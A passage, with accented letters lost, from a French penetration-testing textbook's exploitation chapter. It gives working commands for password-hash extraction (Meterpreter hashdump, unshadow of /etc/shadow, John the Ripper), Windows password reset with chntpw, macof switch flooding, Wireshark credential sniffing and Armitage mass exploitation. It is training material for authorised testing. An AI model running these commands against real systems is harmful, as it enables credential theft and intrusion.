dexploitation en utilisant un CD live ou une cl USB. 3. Monter le disque dur local. 4. Utiliser SamDump2 pour extraire le mot de passe chiffr. 5. Utiliser John the Ripper pour craquer les mots de passe. Craquage distance des mots de passe Puisque nous savons prsent comment craquer les mots de passe en local, nous pouvons prendre le temps dexpliquer comment procder distance. Pour craquer des mots de passe sur un systme distant, il faut en gnral russir lancer un exploit sur la machine cible. Dans notre exemple prcdent, nous avons utilis Metasploit pour envoyer une charge VNC la cible distante. Bien que cette charge donne un rsultat plutt amusant, le shell Meterpreter permet dobtenir un accs plus intressant. En utilisant Metasploit pour disposer dun shell distant sur la cible, nous obtenons un accs un terminal de commande qui nous permet, entre autres, de recueillir trs facilement les mots de passe chiffrs. Lorsquune session Meterpreter sexcute sur la cible, il suffit de saisir la commande hashdump. Meterpreter contourne tous les mcanismes de scurit Windows existants et prsente la liste des utilisateurs et des mots de passe chiffrs. La Figure 4.11 illustre lexploit MS08-067 avec une charge Meterpreter. Vous le constatez, la commande hashdump permet dobtenir les noms dutilisateurs et les mots de passe chiffrs sur la machine cible.

Figure 4.11 Utiliser Meterpreter pour accder distance aux mots de passe chiffrs. Ces mots de passe chiffrs peuvent tre copis directement depuis la fentre de terminal et colls dans un fichier texte. Avec ces mots de passe en notre possession, nous pouvons nous tourner vers John the Ripper pour essayer de les craquer. Craquage des mots de passe Linux et lvation des privilges Pour craquer des mots de passe Linux et OS X, la mthode ressemble normment la prcdente, quelques petites modifications prs. Les systmes Linux ne stockent pas les mots de passe chiffrs dans un fichier SAM. la place, ils se trouvent dans le fichier /etc/shadow.

Malheureusement, seuls les utilisateurs qui disposent des autorisations suffisantes peuvent accder au fichier /etc/shadow. Si nous disposons du niveau de privilge appropri pour consulter ce fichier, nous pouvons simplement copier les noms dutilisateurs et les mots de passe chiffrs, puis craquer les mots de passe avec John the Ripper. Cependant, la plupart des utilisateurs nont pas accs ce fichier. Heureusement, si nous ne disposons pas des droits suffisants pour consulter le fichier /etc/shadow, nous pouvons employer une autre mthode. Linux recense galement les mots de passe dans /etc/passwd. Cette liste est gnralement lisible par tous les utilisateurs et nous pouvons exploiter une fonction de John the Ripper pour combiner les listes /etc/shadow et /etc/password. Nous obtenons une seule liste qui comprend les mots de passe chiffrs originaux. Elle peut ensuite tre passe John the Ripper afin quil soccupe du craquage. Par de nombreux aspects, cette approche quivaut lutilisation du fichier system avec le fichier SAM afin dextraire les mots de passe chiffrs de Windows. Les utilisateurs qui ne disposent pas des droits suffisants combineront les listes /etc/shadow et /etc/passwd en utilisant la commande unshadow : unshadow /etc/passwd /etc/shadow > /tmp/linux_mdp_chiffres.txt Elle runit les fichiers /etc/passwd et /etc/shadow, et stocke les rsultats dans le fichier nomm linux_mdp_chiffres.txt dans le rpertoire /tmp. prsent que nous avons rcupr les mots de passe chiffrs du systme Linux, nous sommes presque prts les craquer. Puisque la plupart des systmes Linux modernes utilisent lalgorithme de hachage SHA, nous devons vrifier que notre version de John the Ripper prend en charge ce format. Si ce nest pas le cas, il faudra tout dabord mettre jour le logiciel. Dans laffirmative, nous lanons le craquage laide de la commande suivante :

john /tmp/linux_mdp_chiffres.txt John the Ripper dispose de nombreuses autres options qui permettent damliorer la rapidit du craquage et daugmenter les chances de russite. Prenez le temps de les dcouvrir.

Rinitialisation des mots de passe


Il existe une autre possibilit dattaquer les mots de passe. Cette technique se fait localement et ncessite un accs physique la machine cible. Elle se rvle trs efficace pour obtenir un accs la cible, mais elle est trs bruyante. La section prcdente a trait du craquage des mots de passe. Si un testeur dintrusion habile est capable daccder une machine cible pendant quelques minutes, il peut rcuprer une copie des mots de passe chiffrs. Toutes choses considres, cette attaque peut tre trs discrte et difficile dtecter. Dans la plupart des cas, le testeur dintrusion laissera peu dindices de sa visite sur la cible. Noubliez pas quil peut enregistrer les mots de passe hors de la cible et les craquer ensuite comme bon lui semble. La rinitialisation dun mot de passe est une autre technique qui permet daccder un systme ou daugmenter les privilges, mais elle est moins subtile que le craquage des mots de passe. Nous pourrions la comparer un voleur qui lance un bulldozer au travers de la vitrine dun magasin afin daccder aux marchandises. Ou, mieux encore, lutilisation dune grue et dune boule de dmolition pour percer un trou dans le mur plutt que passer par une fentre ouverte. La solution sera certes efficace, mais vous pouvez tre certain que le propritaire du magasin et les employs sauront que quelquun est entr. Dans la technique de rinitialisation des mots de passe, lassaillant crase le fichier SAM et cre un nouveau mot de passe pour nimporte quel utilisateur sur un systme Windows rcent. Lopration peut tre ralise sans connatre le mot de passe dorigine, mais, comme nous lavons

indiqu, elle ncessite un accs physique la machine. Comme pour les autres techniques prsentes dans cet ouvrage, il est essentiel que vous receviez lautorisation de mener cette attaque. Il est galement important que vous compreniez ses implications. Une fois le mot de passe chang, il ne peut plus tre restaur. Pour reprendre lanalogie avec la boule de dmolition, la technique est efficace mais le mur dorigine ne sera plus jamais le mme. Lorsque vous rinitialiserez un mot de passe, lutilisateur constatera sa modification ds quil essaiera douvrir une session. Nanmoins, cette technique reste incroyablement puissante et trs pratique pour obtenir un accs au systme. Pour la mettre en uvre, nous devons nouveau redmarrer le systme cible partir dun DVD ou dune cl USB avec Kali. Ensuite, nous monterons le disque dur du systme qui contient le fichier SAM. Les instructions correspondantes ont t donnes la section prcdente. Ensuite, nous utilisons la commande chntpw pour rinitialiser le mot de passe. Ses diffrentes options peuvent tre examines en excutant la commande suivante : chntpw -h Supposons que nous voulions rinitialiser le mot de passe de ladministrateur de la machine cible. Voici la commande employer : chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM chntpw lance le programme de rinitialisation du mot de passe. Loption i le place en mode interactif afin que nous puissions choisir le compte dutilisateur. Le chemin /mnt/sda1/WINDOWS/system32/config/SAM dsigne lemplacement du fichier SAM dans le rpertoire mont. Il est important de vrifier que vous avez accs au fichier SAM, car tous les lecteurs ne sont pas dsigns par sda1. La commande fdisk -l vous aidera

dterminer le lecteur appropri. Le programme affiche dans un menu interactif plusieurs options qui nous permettent de rinitialiser le mot de passe de lutilisateur choisi. Chacune des tapes est clairement prsente et dcrite ; prenez le temps de lire ce qui est demand. Loutil dfinit des rponses par dfaut et, dans la plupart des cas, nous devons simplement appuyer sur la touche Entre pour les accepter. La premire question pose correspond "Que souhaitez-vous faire ? [1]" (voir Figure 4.12). Au-dessus de la question, plusieurs rponses sont proposes. Il suffit de saisir le numro ou la lettre de la rponse souhaite et dappuyer sur Entre. La partie "[1]" qui vient aprs la question indique que la rponse "1" est choisie par dfaut.

Figure 4.12 Le menu interactif de chntpw.

Puisque nous avons prvu de rinitialiser le mot de passe de ladministrateur, nous pouvons taper 1 et appuyer sur Entre, ou

simplement appuyer sur cette touche pour accepter la proposition par dfaut. Nous obtenons ensuite la liste des utilisateurs existants sur la machine Windows locale. Pour indiquer lutilisateur concern, nous saisissons son nom tel quil est affich. Le choix par dfaut est "Administrateur" (voir Figure 4.13).

Figure 4.13 Liste des utilisateurs disponibles.

nouveau, nous appuyons simplement sur la touche Entre pour accepter la proposition par dfaut. Les diffrentes options qui nous sont alors prsentes nous permettent de modifier lutilisateur sur la machine cible (voir Figure 4.14). Notez que pour cette tape nous ne choisirons pas loption par dfaut !

Figure 4.14 Le menu de modification dun utilisateur.

la place de choix par dfaut, nous slectionnons loption "1" afin deffacer le mot de passe. Lorsque lopration est termine, nous obtenons le message "Password cleared!". ce stade, nous pouvons rinitialiser le mot de passe dun autre utilisateur ou saisir "!" pour sortir du programme. Il est important que nous achevions les tapes restantes, car, ce stade, le nouveau fichier SAM na pas t crit sur le disque dur. Dans le menu, nous choisissons "q" afin de quitter le programme chntpw. Nous sommes invits enregistrer les modifications sur le disque dur. Faites attention choisir "y", car loption par dfaut est "n". Le mot de passe de lutilisateur slectionn est prsent vide. Nous pouvons teindre Kali laide de la commande reboot et jecter le DVD. Aprs que Windows a redmarr, nous pouvons ouvrir une session avec le compte dadministrateur en ne saisissant aucun mot de passe. Avec un peu de pratique, lintgralit de la procdure, y compris le redmarrage de Kali, leffacement du mot de passe et le redmarrage sous Windows, peut se faire en moins de cinq minutes.

Wireshark
Pour obtenir un accs un systme, une autre technique rpandue consiste couter le rseau. Il sagit de capturer et de visualiser le trafic pendant son transit. Plusieurs des protocoles employs aujourdhui envoient encore les informations sensibles et importantes sans les chiffrer. Ce trafic rseau transmis sans chiffrement est appel texte en clair, car il peut tre lu par un tre humain et ne ncessite aucun dchiffrement. Lcoute dun tel trafic rseau est un moyen trivial mais efficace dobtenir un accs des systmes. Avant de commencer analyser le trafic, il est important de comprendre certaines donnes de base sur le rseau, commencer par la diffrence entre le mode promiscuit ( promiscuous mode ) et les autres modes. La plupart des cartes rseau oprent par dfaut en mode nonpromiscuit. Cela signifie que la carte dinterface rseau (NIC, Network Interface Card) ne transmet que le trafic qui lui est destin. Si elle reoit un trafic qui correspond son adresse, elle passe les paquets au systme en vue de leur traitement. Si le trafic reu ne correspond pas son adresse, elle ignore simplement les paquets. Ce mode de fonctionnement peut tre compar au travail de louvreur de cinma. Il empche les personnes dentrer dans la salle, sauf si elles ont le billet qui correspond au film. En mode promiscuit, la carte rseau est oblige daccepter tous les paquets qui arrivent. Ils sont tous transmis au systme, quils lui soient destins ou non. Pour russir couter le trafic rseau qui ne nous est pas normalement destin, nous devons nous assurer que la carte est configure en mode promiscuit. Vous pourriez vous demander comment un trafic rseau peut arriver sur un ordinateur ou un appareil alors quil ne lui est pas destin. Ce cas peut

se produire dans plusieurs scnarios. Tout dabord, tout trafic diffus sur le rseau sera envoy tous les appareils connects. Ce sera galement le cas dans les rseaux qui utilisent des concentrateurs la place des commutateurs. Un concentrateur fonctionne en transmettant tout le trafic quil reoit tous les appareils connects ses ports physiques. Dans les rseaux architecturs autour dun concentrateur, les cartes rseau annulent constamment les paquets qui ne leur sont pas destins. Par exemple, supposons que nous ayons un petit concentrateur de huit ports auxquels sont connects huit ordinateurs. Dans cet environnement, lorsque le PC branch au port 1 souhaite envoyer un message celui branch au port 7, le message (le trafic rseau) est en ralit transmis tous les ordinateurs connects au concentrateur. En supposant que tous les ordinateurs fonctionnent en mode non-promiscuit, les machines de 2 6 et 8 se contentent dignorer ce trafic. Nombreux sont ceux croire quil est possible de corriger cela en remplaant le concentrateur par un commutateur. En effet, contrairement au concentrateur, qui diffuse tout le trafic tous les ports, les commutateurs sont beaucoup plus discrets. Lorsquun ordinateur est connect un commutateur, celui-ci enregistre ladresse MAC de la carte dinterface rseau. Il les utilise ensuite (adresse MAC et numro de port du commutateur) pour router de manire intelligente le trafic vers une machine spcifique sur un port prcis. Reprenons lexemple prcdent. Dans le cas o un commutateur est utilis et si le PC 1 envoie un message au PC 7, le commutateur analyse le trafic rseau et consulte la table qui associe ladresse MAC au numro de port. Il envoie le message uniquement lordinateur connect au port 7. Les appareils 2 6 et 8 ne reoivent pas ce trafic.

Macof
Il faut savoir que la caractristique de routage discret dun commutateur

a t initialement conue pour amliorer non pas la scurit mais les performances. Par consquent, toute amlioration de la scurit doit tre considre comme un effet secondaire de la conception plutt que comme un objectif initial. En gardant cela lesprit et avant de vous lancer dans le remplacement de tous vos concentrateurs par des commutateurs, vous devez savoir que des outils permettent de configurer un commutateur pour quil se comporte comme un concentrateur. Autrement dit, dans certains cas, nous pouvons faire en sorte quun commutateur diffuse tout le trafic vers tous les ports, exactement comme un concentrateur. La plupart des commutateurs sont quips dune quantit de mmoire limite pour le stockage de la table qui associe les adresses MAC et les numros de ports. En puisant cette mmoire et en inondant la table avec des adresses MAC errones, un commutateur sera souvent incapable daccder aux entres valides ou de les lire. Puisquil ne peut pas dterminer le port qui correspond une adresse, il diffuse simplement le trafic tous les ports. Ce fonctionnement est appel fail open. Ce principe douverture en cas de dfaillance signifie simplement que lorsque le commutateur ne parvient pas router correctement et discrtement le trafic il se replie sur un fonctionnement de type concentrateur (ouvert) dans lequel tout le trafic est envoy tous les ports. Vous devez savoir que certains commutateurs sont configurs en mode fail closed. Ils fonctionnent alors exactement loppos dun commutateur en mode fail open. Au lieu de diffuser tout le trafic vers tous les ports, le commutateur arrte simplement de router les paquets (ferm). Cependant, en tant que testeur dintrusion ou hacker, cette configuration a galement un bon ct. Si vous tes capable de bloquer le travail du commutateur, vous stoppez tout le trafic sur le rseau et provoquez un dni de service. Supposons que, au cours du test dintrusion, nous ayons dcouvert un commutateur dont ladresse IP est 192.168.56.2. Supposons que la machine que nous utilisons (directement ou suite un pivotement) soit

connecte au commutateur et que nous souhaitions couter le trafic qui passe par lappareil afin de dcouvrir des cibles supplmentaires et de reprer des mots de passe en clair. dsniff est une collection doutils trs intressants qui fournissent de nombreuses fonctions utiles pour lcoute du trafic rseau. Nous vous conseillons de prendre le temps dexaminer chacun des outils fournis avec dsniff, ainsi que leur documentation. Lun de ces outils, dvelopp par Dug Song, se nomme macof. Il permet dinonder un commutateur avec des centaines dadresses MAC alatoires. Si le commutateur est configur en ouverture en cas de dfaillance, il va se comporter comme un concentrateur et diffuser le trafic vers tous les ports. Cela nous permettra de passer outre le routage slectif du commutateur et danalyser tous les paquets qui traversent lappareil. macof est intgr Kali et peut tre utilis en excutant la commande suivante : macof -i eth0 -s 192.168.56.101 -d 192.168.56.2 Dans cet exemple, macof invoque le programme. Celui-ci gnre des centaines dadresses MAC et en inonde le rseau. Loption -i permet de prciser la carte rseau de lordinateur. Cest partir de cette carte que les adresses MAC seront envoyes. Loption -s sert indiquer ladresse source. Loption -d fixe la destination ou la cible de lattaque. La Figure 4.15 illustre lutilisation de la commande macof, avec un extrait de la sortie gnre.

Figure 4.15 Inonder un commutateur avec macof. Vous devez savoir que macof va gnrer un trafic rseau trs important, ce qui le rend aisment dtectable. Vous devez employer cette technique uniquement lorsque la discrtion nest pas un point essentiel. Nous avons donc le concept de mode promiscuit et la possibilit dcouter le trafic qui passe par un commutateur. Nous pouvons alors nous servir dun autre outil rpandu pour examiner et capturer le trafic rseau : Wireshark. Wireshark a t initialement dvelopp par Gerald Combs en 1998. Il sagit dun analyseur de protocole rseau gratuit qui nous permet dexaminer et de capturer facilement et rapidement le trafic rseau. Il est disponible en tlchargement ladresse http://www.wireshark.org. Cet outil montre une grande souplesse et une grande maturit. Avant 2006, il sappelait Ethereal. Bien que le programme soit rest le mme, le nom a chang en raison de problmes de marque dpose. Wireshark est intgr Kali. Il peut tre lanc au travers du menu des programmes ou depuis une fentre de terminal en saisissant la commande suivante : wireshark Avant de lancer Wireshark, vrifiez que vous avez activ et configur au moins une interface rseau. Les instructions ont t donnes au Chapitre 1. Au premier dmarrage de Wireshark dans Kali, un message indique que son excution sous le compte dutilisateur root peut se rvler dangereuse. Cliquez sur le bouton Valider pour confirmer la lecture de cet avertissement. Vous devez ensuite slectionner la carte rseau et vrifier quelle est configure de faon capturer tout le trafic. Pour cela, cliquez sur licne de carte rseau et de menu qui se trouve dans

langle suprieur gauche de la fentre (voir Figure 4.16).

Figure 4.16 Le bouton de slection de linterface de capture. En cliquant sur ce bouton, une nouvelle fentre affiche toutes les interfaces disponibles et permet de slectionner linterface approprie. Vous pouvez dbuter par une capture simple en choisissant une interface, en acceptant les valeurs par dfaut et en cliquant sur le bouton Start. Pour ajuster la configuration de la capture, cliquez sur le bouton Options. La Figure 4.17 illustre la fentre Wireshark de slection de linterface de capture.

Figure 4.17 La fentre de slection de linterface de capture. Toujours dans notre objectif dapprendre les bases, conservez les valeurs par dfaut et cliquez sur le bouton Start. Si lactivit rseau est intense, la fentre de capture de Wireshark devrait se remplir rapidement et continuer voir arriver des paquets tant que la capture nest pas arrte. Ne vous proccupez pas dexaminer ces informations sur le vif. Wireshark nous permet denregistrer les rsultats de la capture afin de les tudier ultrieurement. Au Chapitre 3, nous avons indiqu quun serveur FTP sexcutait sur notre cible Linux (Metasploitable). Pour illustrer la puissance de lcoute du rseau, nous allons dmarrer une capture Wireshark, puis nous connecter au serveur FTP de la cible partir dune fentre de terminal. Pour cela, il suffit dutiliser la commande ftp en prcisant ladresse IP du serveur : ftp adresse_ip_du_serveur_ftp ce stade, vous arrivez une invite douverture de session. Saisissez le nom dutilisateur aterieur et le mot de passe toor . Notez que ces

informations didentification auprs du serveur FTP de Metasploitable sont invalides, mais, dans le cadre de cette dmonstration, ce nest pas un problme. Laissez Wireshark capturer des paquets pendant plusieurs secondes aprs la tentative douverture de session, puis stoppez la capture en cliquant sur le bouton qui reprsente une carte rseau accompagne dune croix rouge (voir Figure 4.18).

Figure 4.18 Le bouton darrt de la capture. Aprs que la capture a t arrte, nous pouvons examiner les paquets rcuprs par Wireshark. Vous devez prendre le temps dexaminer la capture et de tenter didentifier des informations intressantes. Comme le montre la Figure 4.19, les paquets capturs nous permettent de retrouver le nom dutilisateur (ligne 16), le mot de passe (ligne 20) et ladresse IP du serveur FTP ! Mme si les informations de connexion taient invalides, vous pouvez constater que le nom dutilisateur et le mot de passe ont t envoys en clair sur le rseau et ont t capturs par notre machine dattaque. De nombreuses entreprises se servent encore de protocoles qui transmettent les informations en clair. Si nous avions enregistr une session relle au cours de laquelle un utilisateur avait russi sauthentifier auprs du serveur, nous aurions pu utiliser ces informations pour nous y connecter galement.

Figure 4.19 Utiliser Wireshark pour rcuprer les informations de connexion au serveur FTP. Si la capture est ralise sur un rseau lactivit intense, le volume des paquets capturs risque de compliquer leur analyse. Lexamen manuel dun grand nombre de paquets peut ne pas tre envisageable. Heureusement, Wireshark dispose dun fixe qui permet de limiter les rsultats affichs et daffiner une recherche. Avec lexemple prcdent, saisissez ftp dans le champ Filter et cliquez sur le bouton Apply. Wireshark retire alors tous les paquets qui ne concernent pas le protocole FTP. Lanalyse sen trouve considrablement facilite. Wireshark propose de nombreux filtres incroyablement puissants. Prenez le temps de les examiner et de les matriser. Pour retirer un filtre actif et revenir la capture dorigine, cliquez sur le bouton Clear.

Armitage
Armitage est une interface graphique pour Metasploit qui nous donne la possibilit de "hacker comme au cinma". Disponible gratuitement, elle

est dj intgre BackTrack. Si vous utilisez Kali, il vous faudra peuttre tout dabord linstaller. Toutes les informations sur Armitage sont disponibles sur le site officiel du projet, ladresse http://www.fastandeasyhacking.com/. Info Si Armitage nest pas install sur votre version de Kali, procdez son installation en excutant la commande suivante : apt-get install armitage Ensuite, vous devez dmarrer le service PostgreSQL : service postgresql start ce stade, vous devez pouvoir utiliser Armitage comme nous lexpliquons dans cette section. Si le message derreur "Try setting MSF_DATABASE_CONFIG to a file that exists" saffiche, excutez la commande suivante et relancez Armitage : service metasploit start Dans une section antrieure, nous avons expliqu comment utiliser Metasploit pour prendre le contrle dun systme vulnrable auquel les correctifs navaient pas t appliqus. Armitage repose sur Metasploit, mais, au lieu que le testeur dintrusion se plonge dans les vulnrabilits et la correspondance avec des exploits, Armitage se charge dautomatiser lintgralit de la procdure. En utilisant sa fonction "Hail Mary", le travail du testeur dintrusion peut se limiter la saisie de ladresse IP de

la cible et du clic sur quelques icnes. La fonction Hail Mary na rien de subtil ni de discret. Elle effectue un scan des ports sur la cible et, en fonction des informations obtenues, Armitage lance tous les exploits connus ou possibles sur la cible. Mme si Armitage parvient obtenir un accs, il continue lancer des attaques tout va contre la cible jusqu ce que tous les exploits possibles aient t essays. Utilis sur des cibles peu scurises, il permet en gnral dobtenir plusieurs shells. Il est important de souligner quArmitage peut tre employ de manire beaucoup plus subtile, y compris pour effectuer la reconnaissance et les scans dune seule cible. Cependant, lobjectif de cet ouvrage est de prendre une approche mitraillette en envoyant autant de balles que possible, en se focalisant sur le volume plutt que sur la prcision. Armitage peut tre lanc partir des menus de Kali ou en saisissant la commande armitage depuis un terminal : armitage Le programme affiche une bote de dialogue de connexion (voir Figure 4.20). Pour dmarrer Armitage, vous pouvez laisser les valeurs par dfaut et cliquer sur le bouton Connect.

Figure 4.20 Dmarrer Armitage. Il vous est ensuite demand si vous souhaitez dmarrer Metasploit. Choisissez la rponse par dfaut Oui. Une bote de dialogue affiche le message "java.net.ConnectionException: Connection refused". Laissez-la pendant quArmitage et Metasploit procdent la configuration ncessaire. Vous finirez par obtenir linterface graphique illustre la Figure 4.21.

Figure 4.21 Lcran initial dArmitage. Lcran principal dArmitage comprend deux parties. La zone suprieure est linterface graphique qui permet dinteragir avec Metasploit, tandis que la zone infrieure permet des interactions en ligne de commande (comme si vous utilisiez le terminal plutt que linterface graphique). Les deux volets peuvent tre employs pour interagir avec la cible. Lorsque des actions sont ralises laide de linterface graphique, de nouveaux onglets souvrent automatiquement dans la partie infrieure.

Vous pouvez cliquer dessus et saisir des commandes dans le terminal affich. Attention Armitage propose de trs nombreuses fonctionnalits qui vont au-del de lattaque Hail Mary que nous allons utiliser. Prenez le temps ncessaire pour dcouvrir son plein potentiel. Pourquoi apprendre cinq outils alors quun seul suffit ? Lorsque tout le reste a chou, nous pouvons avoir recours la mitrailleuse. Pour cela, la solution la plus simple consiste utiliser lattaque Hail Mary dArmitage. Cependant, avant que nous puissions diffuser des exploits sur notre cible, nous devons au pralable effectuer un petit travail. Tout dabord, nous devons demander Armitage de scanner le rseau local et didentifier les cibles potentielles. Pour cela, il suffit de slectionner Hosts dans le menu et de choisir Quick Scan (OS detect) (voir Figure 4.22).

Figure 4.22 Lancer un scan Nmap partir dArmitage afin didentifier des cibles. Nous devons ensuite prciser ladresse IP ou la plage dadresses scanner. Une fois le scan termin, les cibles identifies saffichent sous forme dun cran dans lespace de travail. La Figure 4.23 en montre un exemple. Une bote de dialogue apparat galement afin dindiquer que les exploits peuvent tre trouvs en utilisant le menu Use Attacks > Find Attacks.

Figure 4.23 Armitage a identifi une cible potentielle. Si Armitage a trouv au moins une cible potentielle, nous pouvons faire dferler des exploits en slectionnant Attacks > Hail Mary (voir Figure 4.24).

Figure 4.24 Lancer une attaque Hail Mary avec Armitage. En choisissant loption Hail Mary, Armitage va lancer un flot dexploits contre la cible. Les commandes seront excutes et mises automatiquement. La procdure peut prendre plusieurs minutes avant de se terminer. La progression de lattaque est affiche en partie infrieure de la fentre. Armitage indique galement lavance de la procdure par lintermdiaire dune barre de progression. ce stade, Armitage met en lien les dcouvertes effectues par Nmap et les exploits disponibles dans Metasploit. Il envoie tout exploit pertinent sur la cible. Cette approche na videmment rien de discret. Faites attention lcran qui reprsente la cible dans linterface graphique dArmitage. Si la machine a pu tre compromise, licne est accompagne dclairs. La Figure 4.25 montre un exemple de cible compromise avec deux shells distants actifs.

Figure 4.25 Succs dArmitage, avec deux shells distants actifs. Lorsque Armitage na plus dexploit essayer, nous pouvons consulter les shells obtenus en cliquant le bouton droit sur lcran de la cible (voir Figure 4.26).

Figure 4.26 Interagir avec un shell distant dmarr par Armitage. ce stade, nous pourrons interagir avec la cible, lui envoyer des programmes et des outils, ou raliser dautres attaques. Pour activer un shell et excuter des commandes sur la cible distante, cliquez sur larticle Interact. Vous pourrez ainsi saisir et excuter des commandes dans la fentre de terminal affiche par Armitage. Toutes les commandes sexcuteront sur la machine distante comme si vous y aviez accs physiquement et les saisissiez dans un terminal local. La phase dexploitation de cette cible est prsent termine !

Mettre en pratique cette phase


La pratique de lexploitation fait partie des expriences les plus exigeantes, frustrantes, prenantes et gratifiantes dont peuvent bnficier

les nouveaux hackers et testeurs dintrusion. Nous pouvons sans mal supposer que, puisque vous lisez cet ouvrage, vous vous intressez au hacking. Nous lavons mentionn prcdemment, lexploitation est souvent la seule activit qui soit associe au hacking (mme si vous savez prsent quelle nen est quune des phases). Si vous naviez jamais russi prendre la main sur une cible, vous avez d vous rgaler. Obtenir un accs administrateur sur une autre machine est une exprience dynamisante et unique. Il existe plusieurs manires de mettre en pratique cette phase, la plus simple tant de configurer une cible vulnrable dans votre laboratoire de test dintrusion. nouveau, lutilisation des machines virtuelles sera plus commode car lexploitation est potentiellement destructrice. La rinitialisation dune machine virtuelle est souvent plus facile et plus rapide que la rinstallation dune machine physique. Si vous dbutez dans lexploitation, il est important que vous ayez quelques succs immdiats. Cela vous vitera de vous dcourager lorsque vous passerez des cibles plus difficiles pour lesquelles la procdure dexploitation devient plus fastidieuse et complique. Nous vous conseillons donc de dmarrer votre apprentissage de lexploitation en attaquant des versions anciennes non corriges des systmes dexploitation et des logiciels. En russissant exploiter ces systmes, vous serez plus motiv pour avancer. De nombreux tudiants ont rapidement, et de faon permanente, t dsillusionns par lexploitation et le hacking car ils se sont attaqus des systmes bien protgs et sy sont cass les dents. Noubliez pas que cet ouvrage a pour but de prsenter les bases. Lorsque vous matriserez les techniques et outils dcrits, vous pourrez passer des sujets plus labors. Nous lavons indiqu plusieurs reprises, vous devez essayer dobtenir un exemplaire lgal de Windows XP et lajouter votre laboratoire de tests dintrusion. Assurez-vous dacheter une copie lgitime afin de rester du bon ct de la licence. Il est toujours conseill aux dbutants de commencer avec XP car cest un systme encore largement install et les

exploits disponibles dans le framework Metasploit vous permettront de pratiquer. Le Chapitre 1 la expliqu, pour mettre en place votre laboratoire de test dintrusion, il est conseill de rechercher une version de XP sans le moindre Service Pack appliqu. En effet, chaque Service Pack corrige un certain nombre de failles et de vulnrabilits. Dans la mesure du possible, essayez de trouver une copie de Windows XP SP 1, mais XP SP 2 et XP SP 3 feront galement de bonnes cibles. Sachez que Microsoft a apport des changements significatifs au niveau de la scurit de XP partir du Service Pack 2. Quelle que soit la version que vous choisissez, quil sagisse de XP, Vista, 7 ou mme 8, vous aurez au moins une vulnrabilit exploiter. Nous vous encourageons dbuter avec les versions les plus anciennes et avancer vers les systmes dexploitation plus rcents. Les anciennes versions de Linux font galement de bonnes cibles exploitables. Les crateurs de Kali proposent un module gratuit dentranement Metasploit nomm Metasploit Unleashed. Nous vous conseillons fortement dutiliser cette ressource aprs avoir termin la lecture de cet ouvrage. Le projet Metasploit Unleashed comprend une explication dtaille du tlchargement et de la configuration dUbuntu 7.04 avec SAMBA. La mise en place dune machine virtuelle avec Ubuntu 7.04 et SAMBA permet de disposer dune cible vulnrable gratuite qui vous permettra de pratiquer les attaques sur un systme Linux. Enfin, Thomas Wilhelm a cr un ensemble de CD live de Linux la fois divertissants, prouvants et hautement personnalisables : De-ICE. Disponibles gratuitement ladresse http://heorot.net/livecds/, ils vous permettront de mettre en pratique plusieurs dfis de tests dintrusion en suivant des scnarios ralistes. Ils prsentent lintrt de proposer une simulation raliste dun vritable test dintrusion. Par ailleurs, les CD De-ICE ne vous permettront pas de vous contenter de

diffuser tout-va des attaques pour relever les dfis. Chaque CD comprend plusieurs niveaux diffrents de dfis que vous devez atteindre. Au fur et mesure que vous avancez dans les dfis, vous devrez apprendre penser de faon critique et utiliser les outils et techniques dcrits dans les phases 1 3. Si vous utilisez ces CD incroyables (ou nimporte quel laboratoire prconfigur), faites attention ne pas demander trop souvent de laide, ni abandonner trop tt ou consulter trop souvent les conseils. Ce type dapprentissage a une grande valeur, mais chaque CD nest souvent exploitable quune seule fois. Aprs que vous avez lu le conseil ou la solution dun problme, il nest plus possible de remettre le "gnie" dans la lampe, car vous vous souviendrez probablement de la rponse jamais. Nous vous encourageons donc faire preuve de persvrance et tenir bon. Si vous avez lu et mis en pratique tout ce que nous avons expliqu jusqu ce stade, vous aurez la possibilit dobtenir un accs administrateur au premier disque de De-ICE. Vous pouvez videmment toujours revenir en arrire et recommencer les dfis, ce que nous conseillons, mais la seconde fois sera diffrente car vous saurez ce quil faut rechercher. Prenez votre temps, apprciez les dfis et travaillez sur les problmes rencontrs. Croyez-le ou non, vous tirerez beaucoup de bnfices vous confronter des problmes premire vue insurmontables. Si vous souhaitez devenir testeur dintrusion, vous devez apprendre devenir persvrant et plein de ressources. Considrez les problmes rencontrs comme une source dapprentissage et tirez-en le plus grand bnfice. Mettre en place les cibles vulnrables dcrites prcdemment et sy confronter devrait se rvler amusant. Nous donnons ci-aprs des conseils pour configurer des cibles de manire exprimenter les outils dcrits dans ce chapitre. La solution la plus facile pour mettre en pratique Medusa consiste dmarrer un processus distant sur la machine cible. Essayez de

commencer par Telnet sur une machine Windows et SSH ou FTP sur une machine Linux. Vous devrez crer quelques utilisateurs supplmentaires, avec leur mot de passe, et leur donner accs aux services distants. Lorsque le service sexcute, vous pouvez employer Medusa pour obtenir un accs au systme distant. Nous lavons dj mentionn, pour profiter de Metasploit et dArmitage la meilleure faon de procder consiste configurer une ancienne version de Windows XP, de prfrence sans aucun Service Pack. Vous pouvez galement tlcharger une version dUbuntu 7.04 et y installer SAMBA. Pour les exemples de cet ouvrage, nous avons utilis Metasploitable. Pour John the Ripper et chntpw, configurez une machine victime avec plusieurs comptes dutilisateurs et diffrents mots de passe. Nous vous suggrons de varier la robustesse des mots de passe pour chaque compte. Choisissez quelques mots de passe faibles, composs de trois ou quatre lettres. Crez des mots de passe plus longs et plus robustes, constitus de lettres en minuscule et en majuscule, ainsi que de caractres spciaux.

Et ensuite
ce stade, vous devez disposer de bases solides sur les tapes ncessaires lexploitation et lobtention dun accs sur un systme. Noubliez pas que vos mthodes dattaques changeront en fonction de la cible et de lobjectif. Puisque vous matrisez les bases, vous tes prt aborder des sujets plus labors. Prenez le temps dtudier Hydra, un outil de craquage des mots de passe par force brute. Il opre la manire de Medusa, mais propose des options supplmentaires. Examinez chacune delles en consultant les pages de manuel de Hydra. Faites particulirement attention aux options de minuterie. La possibilit de contrler la rapidit des connexions permet de corriger nombre derreurs de connexion qui se produisent avec les

